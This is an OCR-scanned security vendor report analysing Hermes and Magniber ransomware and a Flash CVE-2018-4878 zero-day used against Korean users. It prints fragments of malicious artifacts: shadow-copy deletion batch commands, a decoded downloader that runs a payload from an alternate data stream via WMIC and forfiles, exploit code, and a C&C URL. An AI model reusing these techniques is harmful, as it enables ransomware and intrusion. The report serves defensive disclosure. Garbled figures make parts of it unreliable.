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Is Ransomware Targeting

Security Issue

Specific Country A Trend?

You don't need to be a cybersecurity expert to know that the biggest malware issue is ransom-
ware. Ransomware attacks will not decrease unless people stop saving their valuable information
digitally or interest towards Bitcoin goes down. The attacks are evolving with new attack methods

and techniques.

AhnLab Security Emergency response Center (ASEC) has detected ransomwares targeting Korean

users. This report provides a detailed analysis on such ransomware.

Hermes Ransomware

Hermes ransomware excludes certain system folders and files when encrypting. The most
recently discovered version of Hermes included ‘AhnLab’in its exclusion folder list. The reason for
excluding the AhnLab folder from encryption seems to be an attempt to bypass the detection
since AhnLab’s anti-malware solutions detect ransomware behavior if any of its internal files are
encrypted. This exception was not included in the first version of Hermes discovered in early
2017 but was included in the recent version. The comparison between the first and the latest 2.1

version is as shown in Figure 1-1.
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Hermes 2017

Latest Hermes

Similarities

Countries excluded from infection (Russia, Ukraine, and Belarus)

Ransom note filename (DECRYPT_INFORMATION.html)

Creates and runs a batch file that deletes shadow volume copies or backup files

Folders excluded from
infection

Windows, Microsoft, Program Files, All Users,
Default, $Recycle.Bin, and Desktop

AhnlLab, Microsoft, Chrome, Mozilla, Windows,

$Recycle.Bin, and Desktop

File extensions for
infection

tif, .php, .1cd, .7z, .accdb, .cd, .dbf, .ai, .arw,
.txt, .doc, .docm, .docx, .zip, .rar, .xlsx, .xls,
xlsb, .xlsm, .jpg, .jpe, .jpeg, .bmp, .db, .eql,

All files infected excluding; .exe, .dl, .lnk, .ini,

and .hrmlog (5 extensions)

.sql, .adp, .mdf, .frm, .mdb, .odb, .odm, and
776 more extensions

HERMES RANSOMWARE

Differences

e it e o A kg WK I Y 1t P o e

Ransom Note
Displayed on Screen

Figure 1-1 | Comparison of the 2017 version and the latest version of Hermes

Hermes excludes specific countries by checking the language identified for the system locale in

the system registry. The list of three language identifiers excluded from the attack is as shown in

Table 1-1.
Registry ‘ Checked value ‘ Country
0419 Russia
HKLM\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage 0422 Ukraine
0423 Belarus

Table 1-1 | Countries excluded from Hermes infection

Hermes searches the computer drive to encrypt files based on target file and folder criteria as
shown in Figure 1-1. Then, it creates and runs a batch file (*.bat), see Table 1-2, to delete the
volume shadow copies. The latest 2.1 version found in 2018 encrypts all the files in the system
except for the five distinctive extensions. Unlike others, Hermes does not change the extension

of encrypted file, making it harder to detect.
Path the Batch File is Created in Filename of the Batch File

C:\users\Public window.bat

Table 1-2 | File path and name of the created BAT file
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The created batch file, window.bat, reduces the shadow copies storage area to indirectly delete

internal files then deletes volume shadow copies. It also deletes the backup files of specific

extensions, as shown in Figure 1-2, making it harder for users to restore the data.

VESad | n
YESadm i n
wssadmin
vssadmin
vEsadmin
vssadmin
vesadain
vasade i n
vssada in
vasadein
vEsade | n
yEsada in
wEsadain
vesadiin
del fs
dal Js
del fs
del /5
del /s
del /s
del 30

b
S difs VHD dife bac di8+.bak d:%+ . whcat
ST o oet¥e YHD et¥he bac et bak e:fs whcat
A A F¥s PHD f 2% bac 1:8= bak {:%+ sbcat
A o a8« VHD g:¥+s_bac g:¥+.bak g%+ whcat
Sfofg he®e YHD hi®e bac hi@e.bak k% wbcat

Uzlete Shadows fall Jouiet

ries | 2e shadowstorage Slor=e:
resize shadowstorage Slar=c:
resize shadowstorage Jor=d:
resize shadowstorage Sfored:
resize shadowstorase Jior=e:
resize shadowstorage Sfor=e:
rieslze shadowstorage Jor=l:
resize shadowstorage Jarsi:
resize shadowstorage Slor=g:
reslze shadowstorage Sior=g:
resize shadowstorage Slar=h:
resize chadowstorage Sfarsh:
Delece Shadows sall Souiet

g cife VHD ¥+ bac ci@+ . bak o+ whoat

Jon=g:
Son=c:
Jon=d:
Son=d:
Son=a:
Jon=a:
Jon={:
San=t:
Jon=a:
Jon=g:
Jon=h:
Jon=h:

Swans | 2e=d

C-W+,
d:fx.
g,
foffs,
g,
hi#e,

Suaes | ze=d0] KB
Smeaes i ze=unbounded
Smaes | ze=401 MB
Swaoes | zesunbounded
Smaces | ze=d01 WB
Swas | ze=unbounded
Swaxs | ze=401 4B
Smavs i re=unbounded
Swaxsize=401 KB
fmans | 2e=unbounded
01 KB
Swavsize=unbounded

bkf c:®Backup+.+ c:¥backups,
bkt d:¥Backup+.+ d:@backup=.
bkf e:#Backupe.+ e $backups.
bk f:8Backup=.+ {:%backup+,
bkt g:8Backup+.+ g:%bhackup=.
bkt hi¥Backup+.+ h:#backup=.

JERE
VEBE
I -1-11
HEL
-1
-1

c:¥e vin ool dsk
d:ft+ . win dife.dsk
gfe win e dsk
%+ win §:8=+ dsk
qifle.win gift=.dsk
hi#e win hife_ dsk

Figure 1-2 | Content of the BAT file

When Hermes encrypts normal files on the infected computer, it creates a ransom note in each

directory (filename: DECRYPT_INFORMATION.html) which demands Bitcoin in return for restoration.

Hermes is known to be distributing via web, so users are warned to take extra care when

visiting unverified web pages and get the latest security updates for Adobe Flash Player.

MY DECRYPTOR

Your documents, photos, databases and other important files have been encrypted!

WARNING! Any attempts to restore your files with the th

rd-party software will be fatal for your files! WARNING!

The only 1 way to decrypt your files is to receive the private key and decryption program.

Click here for detailed instructions

Figure 1-3 | Magniber ransom note

Magniber ransomware

Magniber ransomware, which distributes

using the Magnitude Exploit Kit, targets

Korean users on Windows OS. The ransom

note displayed on the infected user’s

computer is as shown in Figure 1-3.
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Magniber retrieves the language identifier for the system default language of the operating
system using the GetSystemDefaultUILanguage() APl function before conducting the

encryption process.

GetSystenlefanltUILanguage AFL

204 (0N tL 12 0412 = 1042 ({decinal) Korean
ek

d=laste 1esslf

Figure 1-4 | Checking default language of the infected user

The red box in Figure 1-4 shows that it checks the return value of the API function. If the value
is '0x412) the language identifier for Korean, then system files are encrypted. Otherwise, it

executes the code to delete itself (CALL 00401550).

Unlike the aforementioned Hermes, it does not exclude certain languages for its attack, but

targets a language. If the default user language is not Korean, it terminates and deletes itself.

Magniber uses malvertising for attack. Malver- gzzizters FB0

tising is the use of the legitimate online ad-
vertising networks to distribute malware.
Recently, there has been some changes in the
creation and execution methods of Magniber.

The Magniber SCFipt as of February 7 2018, Figurel-5 | Command for Self-Termination and Deletion

contained the use of a method to hide ransomware files created in the alternate data stream

ASEC REPORT Vol.90 | Security Trend 7
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(ADS) of the user system. The obfuscated and decoded distribution scripts are as shown in

Figure 1-6

and Figure 1-7 respectively.
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Figure 1-6 | Obfuscated distribution script (as of 02/07/2018)

functicn Req_Fayload (vhydwzik:eo) {
var WinHtip = GetObject ("new:WinMHctp.WinHctpRequeat.5.1%);
WinHoop.Open ("GET™, vhydwzikxe, 0):
WinHoop. Send () ;
WinMctp. WaicForResponae():
1f (200 == WinHrop.SCATus) recurn WinHeoop.responssTextc

var
var
Var
var
for

Padding = "Q§E3"

Shell = GerObject ("new:WScript.Shell™):

FilePach = Shell.ExpandEavironmentIcrings ("voenpi™) +|'HHWﬂU£11¢Y:wnﬁI1LG 'ﬂ
Scream = GezObject ("new:ADODE.Scream®);

[vaz 4 = 07 4 <€ 15; di++) {

Fadding += Padding.concat {"Q&B3"):

Stream.type = 2:
Strean.charset = "jisc-EES0-1";
Scream.cpsn():

var Fayload = Reg Paylcoad("h
Stream. writetext (Payload + Padding):

Stream.SavecoFile (FileFach, 2):

Stream.Cloae ()

|51e11.Run['wt1t process call create \"" & FilePath + '\"'r;'

Figure 1-7 | Decoded distribution script (as of 02/07/2018)

The decoded Magniber distribution script in Figure 1-7 shows that the filename "waOfILOY:

waOflLOY”is created in the %tempt% path. The locally saved file is 0 byte in size in the directory,

as shown in Figure 1-8.

VE SET L 2= 37|
| || waof1LOY 2018-02-07 2. mMY OKB

Figure 1-8 | Ransomware created in the %tempt% path
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This 0 byte file, however, is found to be created in ADS (Alternate Data Stream).

The actual ransomware file used for ADS executes by the last string of the command in the
decoded script. This is executed by the WMIC query, as shown in Table 1-3. For security reasons,
files created in ADS cannot be executed by commands such as "start [filename]" in Windows XP
or later versions. However, use of the WMIC query mentioned above allows files created in ADS

to run on Windows 7 and 10.

WMIC process call create "%temp%\\wa0f1LoY:wa0f1LoY

Table 1-3 | WMIC Query

There has also been another change on the Magniber distribution script discovered on

February 20, 2018. It now has a new method to execute the file in ADS via forfiles.exe.

function Req_Faylcoad(zphous) |

Var inHetp = GecObject ("nawiRinHetp.WinHrepRequest.5.1")
<COpen ("GET";
~Send ()
ctp.WalcForResponse ()

== WinHccp.status) recurn WinHccp.responaseTextc

Iphous, 0):

ar Payload = Req Payload ("RESpi/r/75938
writetext (Paylead + PFadding):

& file f a:\\windows'\syscem3iZ? /m nocepad.sxs /o \"" & FilePath + "\"");
Shell.Run("wmic process call create ™" + FilePath + "\"");

Figure 1-9 | Decoded distribution script (as of 2018/02/20)

The decoded Magniber distribution script is shown in Figure 1-9. The lower red box on the

figure shows that a new executable statement ‘forfiles’ is added to the existing WMIC query.
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The new statement runs the ransomware file created in ADS of the user system through
the forfiles.exe file. The forfile.exe file is a command provided in Windows. It selects files to
execute a command on them. Files stored in ADS could run in Windows 7 and 10 using the

forfile.exe file. This seems to be an attempt to infect systems with disabled WMI queries.

forfiles /p c:\\windows\\system32 /m notepad.exe /c \""+ FilePath + "\""

Table 1-4 | Command for Using forfiles.exe

The command shown in Table 1-4 shows that the command argument ("/p c:\\windows\\
system32 /m notepad.exe) has been used to avoid repeated execution of the forfiles.exe
command. As a result, the following command argument (/c \"" + FilePath + "\"") is executed

only once. Thus, the attacker used the forfiles.exe command to run one single file.

The aliases identified by AhnLab’s security solutions are as below:
Trojan/Win32.Magniber

- Malware/MDP.Ransome.M1171

- Trojan/Win32.Hermesran

« Malware/MDP.CoinMiner.M1845

ASEC REPORT Vol.90 | Security Trend 10
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Adobe Flash Player
anaysis-in-Depth —— \/ulnerability Attacks
Targeting Korea

AhnLab has recently discovered a new malicious document file used in targeted attacks on
South Korea. The attacks used social engineering techniques with a zero-day exploit—unknown
security vulnerability—of Adobe Flash Player embedded in the document. This report focuses

on the vulnerability and shellcodes used for the attack.

The information of the new zero-day vulnerability used for the attacks is as follows:

« CVE number: CVE-2018-4878

- Affected product version: Adobe Flash Player 28.0.0.137 and earlier versions (Windows)
« Adobe patch number: APSB18-03 (version 28.0.0.161)

A B C D

The Excel file used in the attack was written

3
ZEUHEEA OfE|AH Z of 258003

SRQAIIKY Q2 OA 2019 DO|AKNIOIK A7l ZH 200ml 19,020

G SOCHE 2% TS AF 500ml 34,2208
7 CJ2}0|-2 OFO| 7| L8H & HE & 250ml 27608
8 AMO|E M7} HEE 3 & 227 1209 4,0808!
9 (R} ZC{0F HELR 2O|AK2H0|E 2M 591ml 10,6109

object function of ActiveX control as shown in I — T o

1 SOEA DHAE 289 12,1609
13 Zgzjop Fojel 22K 810ml 18,9008

Figure 2-1. Figure 2-1 | Malware hidden in the ActiveX control object

in Korean. The malware hid behind the insert

The malicious Adobe Flash file is embedded within the inserted ActiveX control object as

shown in Figure 2-2.
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U2
]
o2t

_rels pFile Raw Data Value
:,___ activeX1.bin BREET 00000000 6EDB 7C D26DAECF 11 965 B8 44 45 53 54 00 00 n_ | .m.. ... DEST . .
[ e g T ma{mm 66 55 66 55 97 C8 01 00 46 57 53 20 97 C8 01 00 fUfU. .. FWS .. .
o 00020 78 00 04 E2 00 00 OE A6 00 00 18 01 00 44 11 19 x. .. ... .. .. .. D..
00000030 00 00 00 7F 13 CB 01 00 00 3C 72 B4 66 3A 52 44 ¢ et O TER

00000040 46 20 78 6D 6C 6E 73 3A 72 64 66 3D 27 68 74 74 F xmins:rdf="htt
00000050 70 3A2F 2F 77 77 7T 2E 77 33 2E6F 72 67 2F 31 p://www.w3.0rg/1
DODD0060D 39 39 39 2F 30 32 2F 32 322D 72 64 66 20 73 79 999/02/22-rdf-sy
00000070 6E 74 61 78 2D 6E 73 23 27 3E 3C 72 64 66 3A 44 ntax-ns# ><rdf:D
00000080 65 73 63 72 69 70 74 69 GF 6E 20 72 64 66 3A 61 escription rdf:a
00000090 62 6F 75 74 3D 27 27 20 78 6D 6C 6E 73 3A 64 63 bout="" xmlns:dc
000000A0 3D 27 68 74 74 T0O 3A2F 2F 70 75 72 6C 2E 6F 72 ="http://purl_or
000000B0 67 2F 64 63 2F 65 6C 65 6D 65 6E 74 73 2F 31 2E g/dc/elements/1

IDUUU{]UCU 31 27 3E 3C 64 63 3A 66 6F 72 6D 61 74 3E 61 70 1 ><dc:format>ap
000000D0 7O 6C 69 63 61 74 69 6F 6GE 2F 78 2D 73 68 6F 63 plication/x-shoc
DODDOOED 6B 77 61 76 65 2D 66 6C 61 73 68 3C 2F 64 63 3JA kwave-flash</dc:
DODDOOF0 66 GF 72 6D 61 74 3E 3C 64 63 3A 74 69 74 6C 65 format><dc:title

AAAAAAAA AP ia ma me Ae smR mA a8 A AR SA ms R mA aa wa A G =

Figure 2-2 | Adobe Flash file embedded in the ActiveX control object

The malicious Flash file operates in the general process as shown in Figure 2-3 and the com-

ponents will be explained as distinguished in the figure.

\\
con®
ek
AR e

[}
i / C2 Server
i
)
1
i 15! Flash
i (Loader)
i Decrypt a Binary Data - CVE-2018-4878
!
: !
! i
i : > Load & Execute a Shellcode
i 2n Flash !

\ (CVE-2018-4878) /

[ ———

Figure 2-3 | Overall operating process of the Flash file

Loader connects to the internally stated C&C server address and receives the key as shown in

Figure 2-4.

F TactveXT iashnt o 00000000 43 57 53 20 DA B4 03 00 76 OC FD 43 01 38 26 60 CWS U, L xeyCH: .
) header 00000010 5B C3 66 97 A5 C5 F9 54 49 8 OC 59 76 90 64 32 [ Af-¥AoT |l s0Y¥Yv d2
J;“- hinanyData 00000020 DA DD 50 33 C5 93 OA BO BB C5 24 71 24 B89 3C 60 O ¥ P 3A“ .. <A+q+p<’
i— DefineBinanData (1: loadswi_SWFBClass)| 00000030 2 4E C3 85 CF 70 76 34 64 OA E9 8 F5 0C 07 05 , N& . ip~4d &.a%e|
| ﬁﬁamiiﬁ"wi”a”na‘a@ loadswl_WyURL) 00000040 24 6D SF AB 6D 62 44 OF 40 EF G5A 04 20 30 56 6E 0+ _«mbOAMIZO =V¥n
e
- others c2 00000000 68 74 74 70 34 2F 2F 7P TP 7T 26 31 35 38 38 20 htte://www.1588-
5L seripts 00000010 32 30 34 30 2E 63 OF 2E 6B 72 2F 63 G6F GE 66 F 2040 .co.kr/conf/
- mx 00000020 B3 BF BE 66 2F 70 BB 70 conf .php

» loadswr
<» loadswi_MyURL

» loadswi_SWWFBClass

Figure 2-4 | Second encrypted Flash file and C&C address
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PN I i) S The internal decoding routine in Figure 2-5
‘: : {;;;:rfurﬂ‘ljl_ﬂader = URLLoader(event . target): .
Wraelbn il < iobuess and the decode key received from the server

var swi_key Bytehrray = new Bytedrrav().
for{var itint = 0; i < swf_key_tut,length; i =i + 2) .
< N e are used to decode the second Flash file to
swf _key.writeByte{uint ("0x" + swf_key_txt substr(i,2))):
¥
decOata.writeBytes(this.binData,0,this.sz_swf_head): . . o o
this.binData.position = this.sz_svi_head + this.id_len: be loaded in memory. The internal function is
var niuint = this.binData. readUnsignedint();
this.binData.position = 0;
for(i = this.sz_swf_head + this.id_len + 4; i < this.binData.length; | = i + 100) .
( | named Decript.
for(j = 0; j < this.id_len; j++)
1
decData.writeByte(this binDatali + j] = swf_key[i]):
¥
¥

var |:Loader = new Loader():

o Here, the URL delivered to the C&C server is

i

Figure 2-5 | Decript function used to decode the second Flash file configured by Combining the information

on the file system environment and the ID value within the file. The code for this is as shown in

Figure 2-6.

public function SendGetSwfKevReqest() @ woid

1
var swf_id:Bytebrray = new Bytedrray():
var stribg:String = Capabilities. isOebugger? -0":"":
var my_urlBytedrray = new this MyURL() as Bytedrraw:
swf_id.writeBytes(this.binData,this, sz_swf _head, this. id_len).
this.mylriRBeqest .url = StringUtil. trim(mye_url . todtringl));
this.melriBeqest .url = this.myUriRegest.url + {"7id=" + this, Arrav23tringlswi_id)):
this.mylriRBeqest .url = this.meUriRegest.url + ("8fp_ws=" + Capabilities.version.replacel”.”, . ) + strOba);
thiz.myUriRBegest .url = this.mwlriReqest url + ("Gos_ws=" + Capabilities.os):
this.mylriloader. load{this, myUrRegest):

t

Figure 2-6 | Internal code for configuring the URL for C&C access

Description

File offset, a binary value from 10 to 100 bytes

Version of Adobe Flash Player

Version of operating system

Table 2-1 | Delivered information

hxxp://www.1588-2040.co.kr/conf/conf.php?id=FD43D13B2E6D5BC36697A5C5F954498ADC5976906432DADD5033C5930AB08BC
52A712A893C602C4EC385CF707E34640AE985F50C07052A8D5FAB6D62440EADEFS5AD4203D566EED4D0O50389AC90A9FF4A8FEDB
3582FA28CD84D7284AD5D1B4742A9656FD80&fp_vs=WIN%2028.0,0,137&o0s_vs=Windows%207

Table 2-2 | Example of URL for accessing the C&C Server
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After gaining access to the C&C server, the key value is transferred from the server, and the
second flash file decoded by the key value then becomes the malicious file exploiting CVE-

2018-4878 zero-day vulnerability.
CVE-2018-4878 is a UAF (User-After-Free) vulnerability. This occurs during the handling of
listener classes in the Adobe Primetime SDK related media players and attempts to reuse

memory after memory allocation.

The code of the file used in the attack is as shown in Figure 2-7.

package
{

inport com.adobe. tvsdk.mediacore.ORMOperat ionConpletel istener;

public class class_4 inplements DRMOperat ionCompletelistener
{
aliuint;
public function method_3() : void "
{ Tiuint =
var §#x19§ :PSDK = nul1; var i public function class_4()
var datald:PSDKEventDispatcher = null; o BNk {
§#x195 = null; v super();
datald = null; valriadiuint B
§#x195 = PSDK.pSOK: Al
: va . ;
datald = S#:195 .createDispatcher(); Fear-uin public function onDRMOperationComplete() : void
this.var 9 = £#x19% .createMediaPlayer(datald); {
this.datal5 = ne = flash10. IsCal IFunc = true;
this.var_9.drnManager. initialize(this.datal5); var atint = 0;
this.datal5 = null; a=1;
} i

public function onDRMError(paraml:uint, param2:uint, param3:String, paramd:String) : void

flash10.1sCal IFunc = true;
ar atint = 0;
a=1;
¥
3
+

Figure 2-7 | Code for exploiting the vulnerability

There are two shellcodes embedded in the malicious file as shown in Figure 2-8. The shellcodes

have the same functions.

# 2nd_flash.swf
f—_| header
=] hinaryData
— | DefineBinaryData (1: flash01_data13)
DefineBinaryData (2: flash01_data12)

‘E‘g‘ahzfj 4 Shellcode

B scripts 00000000 55 BB EC 83 EC 45 56 ES 02 00 00 00 EE O4 86 04 U < i f i HVa, PRI
- mx 00000010 24 C3 B9 45 FC 83 G0 FC OC BS GE 18 40 00 99 8B $ A w Eufmu® .nf@ ™«
* E::zz{n 00000020 C8 86 F2 BS 00 10 40 00 93 26 C8 1B F2 83 CI 01 E <& .. $@ ™+E«afé

00000030 83 D6 00 69 4D E8 B3 36 68 OD 16 ES 94 04 OO 00 FAI08 8 f M e 8 ) B o e s L
00000040 83 45 [4 B9 53 A4 63 E5 E3 80 D4 00 00 B3 45 EO BUE A L s e % E &
00000050 B3 05 87 1D 60 ES 80 04 00 00 83 45 BC BS 2C 13 o= W= e % Ed 55 R G

Figure 2-8 | Binary data of shellcode embedded in the malicious file
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Along with the exploit of the vulnerability happening at this stage, the internal shellcode
follows the operation as shown in Figure 2-9. Its main function is downloading and executing

the final malware of the attacker.

Anti Virus List
+ V3

* ViRobot
User PC

360Saft Case 1.
Code Injection to ‘cmd.exe’ o
@ Compare Processes g Snele®
pown! nod

\ } C2 Server
M

Zero-Day :

. @ Branch

ooooo

(2™ Flash) Case 2.

* Download a file E .
Another Malware

Case 3.
- Exit

Figure 2-9 | Operation flow of the shellcode

The shellcode primarily detects the anti-virus product of the host and performs three distinctive
tasks according to the result. This can be seen as an attempt to bypass the protective features
of the anti-virus solutions.

- Case 1: Code injection after running the '‘cmd.exe' process

- Case 2: Download and execute additional malware

- Case 3: End process

In order to conduct the above tasks, it checks whether a widely used anti-virus solution of South
Korea is running by comparing the names of processes, as shown in Table 2-3, and the currently
running processes in the system. The malware then performs different tasks depending on the
results, as shown in Table 2-4. Note that the process running related to the Korean anti-virus

product “Alyac’, does affect the malicious behavior.
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Related Product Processes

asdsvc.exe, v3ui.exe, v3svc.exe

ViRobot vraptshieldlaunchersvc.exe, hagenttray.exe, hvrtray.exe

360Safe zhudongfangyu.exe, 360tray.exe, ghsafemain.exe

ayagent.aye

Table 2-3 | List of processes used for distinguishing the anti-virus product

Product

Classification Function
ViRobot 360Safe

Running

status

Table 2-4 | Shellcode function based on product type

Case 1 first runs the Windows Command Prompt, also known as cmd.exe, and injects code into

the process to enable downloads.

T4 Hex | ASCII
00383F2C| 3D 00 00 00|9A 02 00 0O : 4 2R PF PE-ZZ ™ aiiiin http: //w
00383F3C |77 77 2E 31|35 38 38 2D |32 30 34 30|2E 63 6F 2E|ww.1588-2040.co.
00383F4C | 6B 72 2F 63|6F GE 66 2F|7C F 64|75 63 74 2E|kr/conf/product.
00383FS5C|6A 70 67 00|2C 00 00 00 A2 ( 2 00/00 55 8B EC|JpO.scevfenc.l.?
00383F6C |83 EC 1C ES8|02 00 00 OO|EB 04 8B 04|24 C3 89 45|.7.e....8...83A.E
D03B3F7C|F8 82 6D FS8|0B 8B 45 FB8|8B 40 FC 89|45 EB BB 45 D,Tg..ED.@U.Eé,E
00383F8BC|F8 8A 40 FE|B88 45 FF BB |45 F8 8B 40|F7 89 45 FO|0.GU.EY.EB.@=.ED
D0383F9C | BE 45 FO B3 |CO 09 BB 4D|FBE 2B CE B9(4D E4 BB 92 .E@.i..HD+E.Ma_.
00383FAC |10 40 00 2D |00 10 40 00|89 45 EC 8B|45 FB 03 45|.@8.-..@,.E1.E0.E
....... 6A 00 push 0
______ a3 56 push esi Size
38397F S3 push ebx Buffer
57 push edi
FF 75 DO push dword ptr ss:[ebp-20}§ C:\\Windows\\System32\\cmd. exe
FF 55 E4 galll dword ptr ss:jfebp-1Cj [ebp-1C]:WriteProcessMmemory

Figure 2-10 | Code injection into cmd.exe

The injected code downloads and runs an additional shellcode from a different C&C server

stated in the code.
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LT push edi
&8 00 OO0 00 B4 |push 54000000
57 push edi
57 push edi
FF 75 F4 push dword ptr ss:[febp-Cj [ebp-C]:"http: //www.1588-2040. co. kr/conf /product. jpg"
&0 push eax
FF 55 FO el dword ptr ss:|febp-10§ [ebp-10] : InternetOpenur 1A
BB FO mov esi,edx ezi:Internetopend
B5 Fe& test esi,esi esi: InternetOpens
~ 75 OF jne Z30259F

Figure 2-11 | URL connection for downloading additional shellcodes

The additional shellcode includes malicious codes soon to be decoded and executed.

This particular method can easily bypass anti-virus software that does not provide memory

detection functions, as the malicious code exists only in the memory.

Shciis Hex ASCII

00510000 ( 4D 5A 90 00|02 00 0O OO|O4 OO0 OO0 OO|(FF FF OO0 OO0 | MZ. . e einnas W .
00510010 ( BS 00 OO0 OO0 00 00 OO 00|40 OO0 OO0 QOO0 00 OO0 00| ...c.... Bivinnas
00510020 (00 00 OO 00|00 OO0 OO0 OO|O00 OO0 OO0 OO(00 00 OO0 00| «ccieearnnnnnnns
00510030 (00 00 OO OO|O0 OO0 OO OO|O0 OO0 OO0 OO(18 01 OO0 00| ... nnnnnnnns
00510040 | 0E 1F BA OE|00 B4 09 CD|21 B8 01 4C|CD 21 54 &8|..=2.. .I! .LI!Th
00510050 (6% 73 20 70|72 &F &7 72|61 6D 20 63|61 6E &E &F|is program canno
00510060 (74 20 62 65|20 72 75 GE|(20 &9 GE 20|44 4F 53 20|t be run in DOS
00510070| 60 &F &4 &5|2E 0D OD OA|24 00 OO0 00|00 00 OO0 00| mode,...5.......
00510080 |BD 20 1A 4E(F9 4C 74 ID|F9 4C 74 1D|F9 4C 74 1D |%-.NULT.LLT.ULL.
00510090 (40 DO 85 1D |F7 4C 74 1D(4D DO 57 1D |64 4C 74 1D |MP..=LT.MP..dLT.
005100A0 | 4D DO 86 1D |E4 4C 74 1D|(24 B3 A5 1D(F8 4C 74 1D | MP..dLT.%3"¥.0LT.
005100B0| 67 EC B3 1D|F8 4C 74 1D|1C 15 77 1C|E0 4C 74 1D|gi=.@Lt...w.alLt.
005100C0 | 1C 15 71 1C|BB 4C 74 1D|1C 15 70 1C|BE8 4C 74 1D|..Q.=LT...p. LT.
00510000 | 24 B2 EF 1D |EA 4C 74 1D|F9 4C 75 1D(G1 4C 74 1D | $=;.&Lt.ULU.QLT.

005100ECQ | OB 15 70 1C|F7 4C 74 1D(0OE 15 8E 1D|F8 4C 74 1D|..F.=Lt..... @LtT.
O0O5100FD| OB 15 76 1C|FB 4C 74 1D|(52 &9 63 GB|F9 4C 74 1D|..v.BLT.RichlLtT.
00510100 (00 00 OO OO0 00 OO0 OO0 00|00 00 OO0 QOO0 00 OO0 00| ccieieasrnnnnnnns
005101310 | 00 OO0 OO0 00|00 00 00 00|50 45 OO0 OO0|4C 01 O6 00| @ o eaas PEaulaas

Figure 2-12 | Malicious code within the additional shellcode

Case 2 creates a thread to download malware from another C&C server stated within the code.

It then runs the downloaded file fontdrvhost.exe which is created in the Windows temporary

directory %temp%.

5 push ebx

FF D7 call =di WriteFile

82 7D FC 00 cmp dword ptr ss:febp-43,9

~ 75 D3 jne 10015E

88 7D EO mov edi,dword ptr ss:[ebp-z0§ edi:InternetClosedandle, [ebp-20]:InternetCloseHandle

56 push esi

FF D7 CHEl edi InternetCloseHandle

8B 75 DC mov &s51,dword ptr ss:febp-24]

56 push es1

EF D7 canl edt InternetClosedandle

53 push ebx

FF 55 D§ ESll dword ptr ss:[Jebp-28] CloseHandle

6A 00 push o

8D 85 AS FE FF FF |lea eax,dword ptr ss:[Qebp-1s5:2]
0 a3 S0 push eax "CryhUsers\\Test\\AppData‘\Local \\Temp\‘\Fontdrvhost. exa"
FF 55 D4 €&l dword ptr ss:[flebp-2Cj WinExec

Figure 2-13 | Download and execution of the malicious file
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Case 3 does not perform any actions and ends when a process related to V3 and ViRobot is

detected, regardless of whether a process related to 360Safe is running.

Zero-day attacks exploit the vulnerabilities, which failed to mitigate in a timely manner due to

various reasons. Which means a complete prevention is difficult until a patch releases.

Moreover, the use of malicious PE files means that a wider range of attack is possible due to the
diversity of malicious behaviors that can occur. It is crucial to get the latest updates of Windows

security patches and anti-virus programs in order to minimize damage.

The alias identified by AhnLab’s security solutions is as below:

- SWF/Cve-2018-4878.Exp (2018.02.10.00)
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